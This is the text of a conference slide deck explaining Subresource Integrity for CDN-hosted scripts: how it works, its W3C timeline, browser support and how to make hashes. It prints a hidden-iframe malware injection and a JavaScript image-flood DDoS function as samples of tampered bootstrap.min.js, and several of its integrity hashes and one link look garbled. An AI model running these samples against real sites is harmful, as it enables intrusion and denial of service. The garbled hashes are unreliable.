WEB APPLICATION SECURITY WITH Subresource Integrity
$ WHOIAM
JUSTIN DORFMAN
JUSTIN DORFMAN
MAXCDN
DEVELOPER RELATIONS
OBSESSED WITH OPEN SOURCE & STANDARDS
Every browser needs this ASAP: Subresource Integrity j.mp/1DZ3dR4
DEFINE “INTEGRITY”
SUBRESOURCE INTEGRITY ENABLES BROWSERS TO VERIFY THAT FILES ARE DELIVERED WITHOUT UNEXPECTED MANIPULATION.
SUBRESOURCE INTEGRITY ENABLES BROWSERS TO VERIFY THAT FILES ARE DELIVERED WITHOUT UNEXPECTED MANIPULATION.
WITH & WITHOUT SUBRESOURCE INTEGRITY
document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://example.com/no-malware-here.php"></iframe>')
document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://example.com/no-malware-here.php"></iframe>')

bootstrap.min.js
document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://example.com/no-malware-here.php"></iframe>')</div>

bootstrap.min.js

Failed to find a valid digest in the 'integrity' attribute for resource 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js' with computed SHA-256 integrity 'KXn5puMvxCw+dAYznun+drMdB1IF3agK0p/pqT9KAo='. The resource has been blocked.
function imgflood() {
    var TARGET = 'victim-website.com'
    var URI = '/index.php?'
    var pic = new Image()
    var rand = Math.floor(Math.random() * 1000)
    pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)
function imgflood() {
    var TARGET = 'victim-website.com'
    var URI = '/index.php?'
    var pic = new Image()
    var rand = Math.floor(Math.random() * 1000)
    pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)

bootstrap.min.js

demo JS code via https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/
JAVASCRIPT DDOS!
HISTORY
SRI TIMELINE
JANUARY 8TH 2014 – DISCUSSION STARTS ON W3C’S GITHUB
JANUARY 8th 2014 – DISCUSSION STARTS ON W3C’S GITHUB

MARCH 18TH 2014 – FIRST PUBLIC WORKING DRAFT ON W3C.ORG
JANUARY 8TH 2014 – DISCUSSION STARTS ON W3C’S GITHUB
MARCH 18TH 2014 – FIRST PUBLIC WORKING DRAFT ON W3C.ORG
OCTOBER 6TH 2015 – FINAL PUBLIC WORKING DRAFT
JANUARY 8TH 2014 – DISCUSSION STARTS ON W3C’S GITHUB
MARCH 18TH 2014 – FIRST PUBLIC WORKING DRAFT ON W3C.ORG
OCTOBER 6TH 2015 – FINAL PUBLIC WORKING DRAFT
NOVEMBER 12TH 2015 – W3C CANDIDATE RECOMMENDATION
JANUARY 8TH 2014 – DISCUSSION STARTS ON W3C’S GITHUB
MARCH 18TH 2014 – FIRST PUBLIC WORKING DRAFT ON W3C.ORG
OCTOBER 6TH 2015 – FINAL PUBLIC WORKING DRAFT
NOVEMBER 12TH 2015 – W3C CANDIDATE RECOMMENDATION
SUPPORT & AVAILABILITY
Protocol Support

HTTP/1.1  HTTP/2  SPDY/3.1

SSL/TLS
File Support

- **CSS**:Supported
- **JS**:Supported
- **Image**:Not Supported
- **Flash**:Not Supported
- **Video**:Not Supported
Desktop Browser Support

- Chrome
- Edge
- Firefox
- Safari
- Opera
Desktop Browser Support

- Chrome
- Edge
- Firefox
- Safari
- Opera
Desktop Browser Support

- Google Chrome
- Microsoft Edge
- Mozilla Firefox
- Apple Safari
- Opera

All supported except Safari.
Desktop Browser Support

Subresource Integrity
Subresource Integrity defines a mechanism by which user agents may verify that a fetched resource has been delivered without unexpected manipulation. In a nutshell, metadata inlined into HTML elements allows the browser to determine whether the resource that was downloaded matches the resource the page’s author expected to download.

http://w3c.github.io/webappsec/specs/subresourceintegrity/

Jonathan Sampson [MSFT] shared this idea • August 06, 2014 • Flag idea as inappropriate...
Mobile Browser Support
Mobile Browser Support

- Chrome
- Safari
- Firefox
- Opera
- Edge

Support Status: Green Check Mark for Chrome, Safari, Firefox, and Opera. Red X for Edge.
CREATING HASHES
Hashing Functions

SHA-256  SHA-384  SHA-512

✓  ✓  ✓

MD5  SHA-1

✗  ✗
openssl dgst -sha256 -binary file.js | openssl base64 -A
openssl dgst -sha384 -binary file.js | openssl base64 -A
openssl dgst -sha512 -binary file.js | openssl base64 -A
$ curl -s https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js | openssl dgst -sha512 -binary | openssl
Links collection

- Group links
- Add the `<script>` tag
- Add the `https:`
- Enable SRI

---

```html
<script crossorigin="anonymous" integrity="sha256+-GnhVxyKJts7v6HwAa5bmXpm3XDhaj4lIPAhFGx4=" src="https://cdn.jsdelivr.net/bootstrap.material-design/0.5.7/js/material.min.js"></script>
```
Bootstrap
Bootstrap
Copy Below

<script src="https://code.jquery.com/jquery-2.1.4.min.js"
integrity="sha512-vyuJDnbAzNxVR+eBq9Re2dkaVnk1TNi5SKib3d8m1OvDzKEbAhScEY1FXY6rLX9q+cY1ObDElbe="
crossorigin="anonymous"></script>

If you are wondering what the integrity attribute is all about let us explain. Subresource Integrity or SRI is a new W3C specification that allows web developers to ensure that resources hosted on third-party servers like code.jquery.com have not been tampered with. Use of SRI is recommended as a best-practice, whenever libraries are loaded from a third-party source. Read more at srirhash.org

Showing the latest stable release in each major branch. See all versions of jQuery Core.

jQuery 2.x (IE <9 not supported)

- jQuery Core 2.1.4 - uncompressed, minified
Copy Below

```html
<script src="https://code.jquery.com/jquery-2.1.4.min.js" integrity="sha512-vuJDNBGzdVxVe+bQXGRe2dkaVnkn1TWiSkiBojB8sOuOvDzKEbhRahScEY1FXY6rLX9q+eY1ObdLe1b=" crossorigin="anonymous"></script>
```

If you are wondering what the `integrity` attribute is all about let us explain. Subresource Integrity or SRI is a new [W3C specification](https://w3.org/TR/sri/) that allows web developers to ensure that resources hosted on third-party servers like code.jquery.com have not been tampered with. Use of SRI is recommended as a best-practice, whenever libraries are loaded from a third-party source. Read more at [srchash.org](https://github.com/patrick-steele-iap/configmap-generators)
Join the Party

Bootstrap  
CloudFlare  
Dropbox  
GitHub  
jQuery  
Google  
JSDELIVR  
maxcdn  
mozilla
QUESTIONS?
THANK YOU

Read more: https://j.mp/MaxCDN-SRI
Twitter/GitHub: @jdorfman